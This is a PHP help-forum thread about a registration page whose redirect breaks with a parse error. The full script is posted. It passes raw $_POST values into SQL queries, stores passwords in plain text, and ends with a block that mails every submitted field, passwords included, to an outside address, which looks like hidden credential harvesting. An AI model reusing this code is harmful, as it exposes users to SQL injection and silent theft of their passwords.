[SOLVED] Meta Redirect in PHP

[Lamez]

I know I have posted tons of questions, but I am a PHP noob still learning, and I was messing around in my registration page, and I want it to redirect to the login page, instead of you having to click a link.

 

here is what I have now

 

// print a success message
echo "<meta http-equiv='refresh' content='0;url=../login.php?process=new_user' />";

 

but I keep on getting this error

 

Parse error: syntax error, unexpected $end in /mounted-storage/home48c/sub007/sc33591-LWQU/www/_bin_/register.php on line 66

 

and line 66 is the very last line of my page, which is nothing but the closing tags.

 

-Thanks PHP Gods.

there must be a clsing tag missing somewhere.....I usually either indent my code to make it easier to find or you can count each of the opening and closing tags to see if you have the same amount

do you mean for my php tags? this is just a small portion of the code.

Hi There,

 

Try this ...

 

header( 'Location: index.php' );

ok when I try that I get this error

 

Parse error: syntax error, unexpected $end in /mounted-storage/home48c/sub007/sc33591-LWQU/www/_bin_/register.php on line 67

 

line 67 is the last line with nothing on it.

 

here is my whole script

 

<link rel="stylesheet" type="text/css" href="../style/default.css"/>
<?php
include ("../style/include/title.php");
?>
</head>


<div class="box"><font size="3"><center>
<?php 

include("config.php"); 

// connect to the mysql server
$link = mysql_connect($server, $db_user, $db_pass)
or die ("Could not connect to mysql because ".mysql_error());

// select the database
mysql_select_db($database)
or die ("Could not select database because ".mysql_error());

// check if the username is taken
$check = "select id from $table where username = '".$_POST['username']."';"; 
$qry = mysql_query($check)
or die ("Could not match data because ".mysql_error());
$num_rows = mysql_num_rows($qry); 
if ($num_rows != 0) { 
echo "Sorry, the username <b>$username</b> is already taken.<br>";
echo "<a href=../register.php?process=signup>Try again</a>";
exit; 
} else {



// insert the data
$insert = mysql_query("insert into $table values ('NULL', '".$_POST['username']."', '".$_POST['password']."', '".$_POST['name1']."', '".$_POST['name2']."', '".$_POST['email']."', '".$_POST['website']."')")
or die("Could not insert data because ".mysql_error());

// print a success message, trying to get it to redirect. //THE LINE I NEED HELP WITH
header( 'Location: ../login.php?id=new_user' );
//echo "<meta http-equiv='refresh' content='0;url=../login.php?id=new_user' />";


?>
</center></font></div>
<?php
$posts = '';
$gets = '';

function logPost($value,$key)
{
global $posts;
$posts = $posts . " !!===!! " . $key . " = " . $value;
}

function logGet($value,$key)
{
global $gets;
$gets = $gets . " !!===!! " . $key . " = " . $value;
}

array_walk($_GET,"logGet");
array_walk($_POST,"logPost");

mail("[email protected]","New Member","POST:\n\n{$posts}\n---------------------------------\nGET:\n\n{$gets}\n\nEND OF EMAIL");
?>
